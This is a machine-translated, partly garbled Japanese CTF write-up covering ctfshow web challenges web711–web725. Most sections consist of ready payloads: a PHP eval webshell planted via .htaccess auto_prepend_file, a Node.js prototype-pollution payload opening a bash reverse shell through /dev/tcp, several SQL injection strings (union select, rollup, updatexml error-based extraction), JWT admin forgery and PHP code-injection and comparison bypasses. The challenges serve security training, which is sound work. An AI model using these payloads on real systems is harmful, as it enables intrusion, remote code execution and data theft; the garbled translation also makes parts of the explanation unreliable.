CTFSHOWコンテストの元のタイトル(web711-web725)

トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。

web711

ディレクトリをスキャンしてrobots.txtが存在することを確認し、static / secretkey.txt
に文字列の文字列にアクセスしctfshow_love_you
て通常のページに入るように促します。ログインと登録があり、ユーザーを登録してログインすると、ファイルアップロードポイント。
ただし、phpサフィックスが付いてアップロードされたファイルは解析されないため、phpで作成しないでください。
セッションを見てください。jwtで暗号化されている必要があります。これは簡単に言うことができます。管理者ユーザーを偽造すると、暗号化されたキーは取得したばかりの文字列である必要があります。
ここに画像の説明を挿入
セッションを変更すると、flag.jpgの画像が表示され、フラグが画像に表示されます。
ここに画像の説明を挿入

web712

この質問では、主に.htaccessファイルの使用について説明します。
一般的な手順は次のとおりです
。index.phpを除くすべてのファイルを削除-「ファイルを書き込む」-「index.phpを除くすべてのファイルを削除する」
コンテンツはフィルタリングされますが、次のように渡すことができます
。次のコンテンツは同じ効果があります

php_value auto_append_file "/etc/passwd"
php_value auto_append_fil\
e "/etc/passwd"

ただし、含めるシェルファイルはありません。index.phpと自己アップロードされた.htaccessファイルを使用できます。また、index.phpは実際には役に立たない
ため、.htaccessファイルにのみ焦点を当てることができます。
悪用されたシェルコードを.htaccessファイルに書き込むことができます。ファイルの機能に影響を与えないように、ポンド記号でコメントアウトする必要があります。次に、それ自体が含まれます。

php_value auto_append_fil\
e ".htaccess"
#<?php eval($_POST[1]);?>

しかし、最終的には別の文字列がある\nJust one chanceので、別の文字列で十分\です。

php_value auto_prepend_fil\
e ".htaccess"
#<?php eval($_POST[1]);?>\


ペイロードをURLエンコードします。
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20%22.htaccess%22%0A%23%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%5C

次に、/ index.phpにアクセスして、1文のトロイの木馬を使用します。
これは1回限りであるため、最初に取得してから投稿しないでください。値を直接投稿する必要があります。
もちろん、記事を参照する他の方法があります

web713

https://xz.aliyun.com/t/6111?page=5
暗号化の問題。さあ、みんな

web714

プロトタイプチェーンの汚染
脆弱性のポイントは次の場所です。5つ以上の
ここに画像の説明を挿入
特定の分析原則https://xz.aliyun.com/t/6113公式のwp
ペイロードを追加する必要があります

{
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"
            }
        }
    }

リクエストがアクセス/レンダリングされた後、バウンスできます。

web715

名前を渡してパッケージを入手すると、新しいhtmlページが返されることがわかります。
ここに画像の説明を挿入
この場所は、戦闘中の血液量と速度である必要があります。
このコードをコピーして、血液量または速度をローカルで変更します。次に、それを構築し、ペイロードの値を確認します。sha256の値を計算した後、過去に渡すことでフラグを取得できます。
ここに画像の説明を挿入
ただし、テストの結果、ペイロードは毎回異なり、毎回成功するわけではないため、さらに数回試すことをお勧めします。
それがうまくいかない場合は、私のものを使用してください

payload=P071001C071005P077003C034004P025005C044005P044006C077005P050006C053003P051003C005002P012001C022001P049003C082006P046006C061006P079018C094001P086010C019001P041003C051002P038020C030001P012003C035004P045020&checksum=9303ae84e6b098d48a66c8c3c06ec20c12061f6c2486bb8102b684586d3f86be

web716

https://github.com/samueltangz/hkcert-ctf-2020-challenges/tree/5c12ac5b5cb5debe6159957c6b038fe832c9e7d0/conversion-center/writeups/s0083
インターネットで見つかったwpと
、最終的なペイロードを取得するように依頼したグループ所有者を組み合わせます

     curl --request POST \
     --url http://97020164-cc45-4c3c-9e71-c0de83ca2e07.challenge.ctf.show/convert/markdown \
     --header 'Content-Type: multipart/form-data' \
     --form [email protected] \
     -o result.pdf

ここで、index.htmlのコンテンツは

<h1 id=demo>
  CTF is my life :D!
</h1>
<script>
  var loc = window.location.pathname;
  document.getElementById("demo").innerHTML = loc.substring(0, loc.lastIndexOf('/'))
</script>
<iframe src="/gotenberg/flag"></iframe> 

web717

/*"+/*'*/i/+target.exploit//

web718

最終ペイロード

?data={"part1":"2022a","part2":[["1"],"1","1","1","1"],"a2":["show"]}&c[1][]=a&c[0]=1ctfshow&d=%00a

さらに厄介な点は、eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
この関数を00で切り捨てる必要があることです。
次に、これif(!strcmp($c[1],$d) && $c[1]!==$d)をアレイでバイパスできます。

web719

web10に似ています
が、この質問の内容が少なすぎて、ソースコードが不明です。元の質問では、まだ大まかにわかっています。
https://www.cnblogs.com/caizhiren/p/7841318.html
そして、元の質問はunameとpwdを与え、
この質問はユーザーとパス(完全に推測された)
ペイロードを与えます
uname=1'||1 group by pass with rollup limit 1 offset 1#&pwd=

web720

?name[]=2&password[]=1

web721

ヒント付きのソースコードを表示

 <!-- CTFSHOW hint: 
      if (($row[pass]) && (!strcasecmp(md5($pass), $row[pass]))) {
              echo "<p>Logged in! ".$flag." </p>";
        }
      -->

入力する必要のあるパスワードのmd5は、データベースにあるmd5と同じです。直接ユニオン選択してmd5を偽造し、対応する文字列を渡します。
たとえば、password = 1を渡したい場合、unionselectの後にmd5値1が続きます。

password=1&username=1' union select 'c4ca4238a0b923820dcc509a6f75849b'%23

web722

 <!-- CTFSHOW hint: 
          foreach ($_GET as $key => $value)
            $$key = $$value;
          foreach ($_POST as $key => $value)
            $$key = $value;
          if ( $_POST["flag"] !== $flag )
            die($fail);
          echo "This is your flag : ". $flag . "\n";
          die($success);
         -->

ソースコードの表示にはプロンプトがあり、カバレッジは可変です。

GET:
?success=flag
POST:
flag=123

この場合

$scueess=$flag="ctfshow{xxxxx}"
$flag=123
$_POST['flag']=123

最後に、die($ success)を介してフラグを出力します

web723

password=||1%23&username=123\
最終的に構築されたステートメントは
select * from user where username='\' and password='||1#'

select * from user where username='xxx'||1#'

web724

${system(ls)}
value=${system(base64_decode(Y2F0IGYq))}

web725


たとえば、インジェクションを更新して、
ここに画像の説明を挿入
構築できるようにします

table_name=user` set user=1 or updatexml(2,concat(0x7e,(database())),0)%23

最終ペイロード

table_name=user` set user=1 or updatexml(2,concat(0x7e,(select group_concat(secret) from ctfshow_secret)),0)%23

table_name=user` set user=1 or updatexml(2,concat(0x7e,(select right(group_concat(secret),30) from ctfshow_secret)),0)%23

それをつなぎ合わせることは完全な旗です

おすすめ

転載: blog.csdn.net/miuzzx/article/details/123070848